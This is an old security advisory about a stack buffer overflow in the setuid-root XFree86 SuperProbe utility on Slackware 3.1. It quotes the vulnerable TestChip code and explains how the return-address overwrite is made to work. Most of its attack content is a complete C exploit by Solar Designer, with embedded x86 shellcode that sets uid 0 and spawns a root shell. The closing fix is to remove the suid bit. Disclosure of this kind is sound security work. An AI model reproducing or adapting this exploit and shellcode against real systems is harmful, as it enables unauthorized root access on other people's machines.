COMMAND

    /usr/X11/bin/SuperProbe

SYSTEMS AFFECTED

    Linux Slackware 3.1

PROBLEM

    Solar  (solar@ideal.ru)  found  folowing vulnerability. SuperProbe
    is  a  program  supplied  with  XFree86  (to determine the type of
    video  hardware  installed  in  the  machine), and it is installed
    setuid root in many Linux distributions.

    The overflow he's exploiting is in the TestChip function:

	> static Bool TestChip(chip_p, Chipset)
	> Chip_Descriptor *chip_p;
	> int *Chipset;
	> {
	>     char *p, *p1, name[64];

	[...]

	>                 (void)strcpy(name, p);
	>             }
	>             if (StrCaseCmp(name, chip_p->name) == 0)

	[...]

	>     if (chip_p->f(Chipset))
	>     {
	>         return(TRUE);
	>     }
	>     return(FALSE);
	> }

    Chip_Descriptor is defined like this:

	> typedef Bool (*ProbeFunc) __STDCARGS((int *));

	[...]

	> typedef struct {
	>         char            *name;          /* Chipset vendor/class name    */
	>         ProbeFunc       f;              /* Probe function */
	[...]

	> } Chip_Descriptor;

    It is possible to overwrite the return address by the strcpy,  but
    one byte of chip_p would  get zeroed out (since chip_p  is located
    right after the  return address, and  the string is  ASCIIZ). This
    would  cause  the   program  to  crash   when  trying  to   access
    chip_p->name  for  passing  it  to  StrCaseCmp,  before the return
    address is used.

    That's why  Solar overwrite  chip_p to  point into  an environment
    variable  (well,  the  return  address  gets overwritten also, but
    it's never used), which has an array of pointers to the  shellcode
    (located at the end  of the same variable's  value) in it. One  of
    these is first  used by StrCaseCmp,  so it doesn't  crash, and the
    next one is used as  the probe function pointer, so  the shellcode
    gets executed when  calling chip_p->f() (it  might be required  to
    adjust the alignment in Solar's exploit, try values 0 to 3 if  the
    default does't work).

	--- probe.c ---

	/*
	* SuperProbe buffer overflow exploit for Linux, tested on Slackware 3.1
	* Copyright (c) 1997 by Solar Designer
	*/
	#include <stdio.h>
	#include <stdlib.h>
	#include <unistd.h>

	char *shellcode =
	  "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
	  "\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
	  "\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
	  "\x31\xdb\xcd\x80/"
	  "/bin/sh"
	  "0";

	char *get_sp() {
	  asm("movl %esp,%eax");
	}

	  #define bufsize 8192
	  #define alignment 0
	  char buffer[bufsize];

	main() {
	  int i;

	  for (i = 0; i < bufsize / 2; i += 4)
	  *(char **)&buffer[i] = get_sp() - 2048;
	  memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
	  strcpy(&buffer[bufsize - 256], shellcode);
	  setenv("SHELLCODE", buffer, 1);

	  memset(buffer, 'x', 72);
	  *(char **)&buffer[72] = get_sp() - 6144 - alignment;
	  buffer[76] = 0;

	  execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
	}

	--- probe.c ---

SOLUTION

    Since this is another  suid program vulnerability, to  fix problem
    quickly turn off suid permission.